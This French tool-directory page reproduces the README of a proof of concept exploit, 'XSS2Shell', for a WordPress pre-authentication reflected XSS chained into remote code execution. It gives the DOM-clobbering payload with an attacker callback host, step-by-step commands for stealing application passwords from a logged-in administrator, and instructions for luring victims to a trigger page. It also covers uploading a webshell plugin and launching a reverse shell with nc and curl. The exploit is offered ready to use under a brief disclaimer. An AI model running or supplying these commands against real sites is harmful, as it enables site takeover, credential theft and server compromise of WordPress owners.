Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
XSS2Shell-CVE-2026-64638 — CVE-2026-64638 — XSS réfléchi WordPress pré-authentification → RCE via DOM Clobbering + vol de mot de passe d'application + activation de plugin via l'API REST. PoC à double mode (chaîne XSS & direct). | Kitploit
Outils/GitHubGitHub/jendmaoul/xss2shell-cve-2026-64638
ExploitationExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubjendmaoul/xss2shell-cve-2026-64638

XSS2Shell-CVE-2026-64638

CVE-2026-64638 — XSS réfléchi WordPress pré-authentification → RCE via DOM Clobbering + vol de mot de passe d'application + activation de plugin via l'API REST. PoC à double mode (chaîne XSS & direct).

Voir le dépôtSite web
148il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-64638 — XSS2Shell

XSS réfléchi pré-authentification WordPress → Chaîne d'exécution de code à distance

DOM Clobbering + Vol de mot de passe d'application + Activation de plugin via l'API REST = RCE complet

Python CVE License


⚡ Vue d'ensemble

CVE-2026-64638 est une XSS réfléchi avant authentification critique dans wp-login.php de WordPress. La vulnérabilité existe car le message d'erreur de connexion reflète le nom d'utilisateur soumis sans encodage HTML approprié, permettant un DOM Clobbering via <area id=ajaxurl> pour contourner la plupart des filtres.

Lorsqu'elle est chaînée avec la fonctionnalité de mot de passe d'application de WordPress, cette XSS devient un vecteur de RCE complet — aucune interaction de l'utilisateur au-delà de la visite d'une page déclencheuse conçue à cet effet alors qu'il est connecté.

Chaîne d'attaque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  [1] XSS (Reflected)                                            │
│      wp-login.php reflects <area id=ajaxurl> in username error   │
│                          ↓                                       │
│  [2] DOM Clobbering                                             │
│      <area id=ajaxurl> hijacks wp-admin JS → auto-submits form   │
│                          ↓                                       │
│  [3] Application Password Theft                                 │
│      XSS redirects victim to authorize-application.php           │
│      success_url callback captures app password                  │
│                          ↓                                       │
│  [4] REST API Plugin Activation                                 │
│      App password → Basic Auth → wp-json/wp/v2/plugins → active  │
│                          ↓                                       │
│  [5] Webshell RCE                                               │
│      Plugin PHP webshell → uid=33(www-data)                      │
│      Reverse shell also available                                │
└─────────────────────────────────────────────────────────────────┘

🎯 Versions affectées

VersionStatutNotes
WordPress ≤ 6.9.5✅ VulnérableImages Docker antérieures au backport toujours exploitables
WordPress 6.9.6+⚠️ Corrigé (backport du 7 août 2026)Les images Docker reconstruites après le 7 août contiennent le correctif
WordPress 7.0.x✅ VulnérableConfirmé sur 7.0.2
WordPress 7.1+❓ InconnuNon testé

📦 Prérequis

root@kitploit:~
pip3 install requests

C'est tout. La bibliothèque standard de Python 3.8+ suffit pour le reste.


🚀 Utilisation

Démarrage rapide

root@kitploit:~
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638

# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com

Mode 1 : Auto (détecte et choisit le meilleur mode)

root@kitploit:~
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
  • Détecte si la XSS est possible → utilise la chaîne XSS
  • Retombe en mode identifiants directs si la XSS est corrigée

Mode 2 : Chaîne XSS (aucun identifiant requis !)

root@kitploit:~
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com

# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000

# Send victim: http://192.168.1.100:8000/trigger_target.com.html

La victime doit être connectée à WordPress en tant qu'administrateur. La page déclencheuse :

  1. Envoie automatiquement le payload XSS à wp-login.php via un iframe caché
  2. Ouvre authorize-application.php pour que la victime approuve
  3. Capture le mot de passe d'application via le serveur de callback
  4. L'utilise contre l'API REST pour activer le plugin webshell

Mode 3 : Direct (identifiants requis)

root@kitploit:~
python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com

Connexion directe → téléversement du plugin → webshell instantané. Aucune XSS requise.

Shell inversé

root@kitploit:~
# In one terminal
nc -lvnp 4444

# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com

Ou manuellement via le webshell :

root@kitploit:~
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'

📂 Fichiers

root@kitploit:~
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py              # Main exploit script (dual-mode)
├── poc.py                       # Original PoC (for reference)
├── trigger_192.168.0.87.html    # Example trigger page
└── README.md                    # This file

🔬 Détails techniques

Le payload XSS

root@kitploit:~
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>

Pourquoi ça fonctionne :

  • La fonction sanitize_user() de WordPress supprime les balises HTML standard mais laisse passer <area> avec un espace initial
  • La balise <area id=ajaxurl> réalise un DOM Clobbering — elle détourne window.ajaxurl utilisé par le JavaScript de wp-admin
  • L'intervalle wp_auth_check se déclenche et la XSS redirige la victime vers authorize-application.php
  • Le paramètre success_url envoie le mot de passe généré au serveur de callback de l'attaquant

Post-exploitation

Une fois le mot de passe d'application capturé :

  • API REST : S'authentifier en tant que victime sur /wp-json/wp/v2/
  • Activation de plugin : POST /wp-json/wp/v2/plugins/{slug} avec {"status":"active"}
  • Webshell : Accéder à wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND
  • Shell inversé : ?rev=IP:PORT lance /bin/sh -i vers l'attaquant

✅ Testé sur

CibleVersionModeRésultat
Docker (local)WordPress 7.0.2Chaîne XSS✅ RCE en tant que www-data
Docker (local)WordPress 7.0.2Direct✅ RCE en tant que www-data
Docker (local)WordPress 6.7Chaîne XSS✅ RCE en tant que www-data

⚠️ Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. Obtenez toujours une autorisation écrite avant de tester.


📝 Crédits

  • Développement du PoC : linuxhackingid
  • CVE : CVE-2026-64638

"Pas d'exploit, pas de rapport." — Méthodologie Shannon

Télécharger l’outil